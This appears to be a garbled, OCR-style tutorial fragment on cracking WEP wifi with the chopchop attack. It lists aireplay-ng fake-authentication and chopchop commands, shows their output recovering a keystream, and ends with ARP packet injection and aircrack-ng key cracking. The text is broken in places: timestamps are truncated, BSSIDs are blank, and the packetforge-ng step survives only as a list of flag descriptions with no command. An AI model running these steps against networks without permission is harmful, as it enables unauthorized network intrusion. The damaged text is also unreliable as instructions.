## **Chop Chop**

```
Select the bssid to use
       -c : channel
       -w: file to write data
       wlan0 - interface in monitor mode
Fake Authenticate with the access point
     cali:~# aireplay-ng --fakeauth 0 -a BSSID of Access Point -h
                                                                Your interface MAC
11:16:16 Waiting for beacon frame (BSSID:
                                                              ) on channel 2
   16:16 Sending Authentication Request (Open System) [ACK]
   16:16 Authentication successful
1:16:16 Sending Association Request [ACK]
 1:16:16 Association successful :-) (AID: 1)
       -a: bssid of the access point
       -h: Your mac address. You can view it using: macchanger --show
       wlan0: interface in monitor mode
sudo aireplay-ng --chopchop -b <bssid> -h <your_mac> wlan0
       -b: bssid of the access point
       -h: Your mac address. You can view it using: macchanger --show
       wlan0: interface in monitor mode
```

```
:04:12 Waiting for beacon frame (BSSID:
                                                    on channel 2
ead 267 packets...
The AP appears to drop packets shorter than 40 bytes.
Enabling standard workaround: ARP header re-creation.
Saving plaintext in replay_dec-0824-110731.cap
Saving keystream in replay_dec-0824-110731.xor
Completed in 170s (0.28 bytes/s)
root@kali:~#
     -0: Indicates you want a arp request packet generated
     -a: bssid of the access point
     -h: Your mac address. You can view it using: macchanger --show
     wlan0: interface in monitor mode
     -y: Keystream we captured using chopchop attack (.xor)
```

Now we need to inject those ARP packets.

-w: Packet we are gonna create

aireplay-ng -2 -r <file\_created\_in\_packetforge-ng>

#Data, 1961

When the data reaches 10000 run this command on a new terminal

sudo aircrack-ng <capfile generated during airmonng>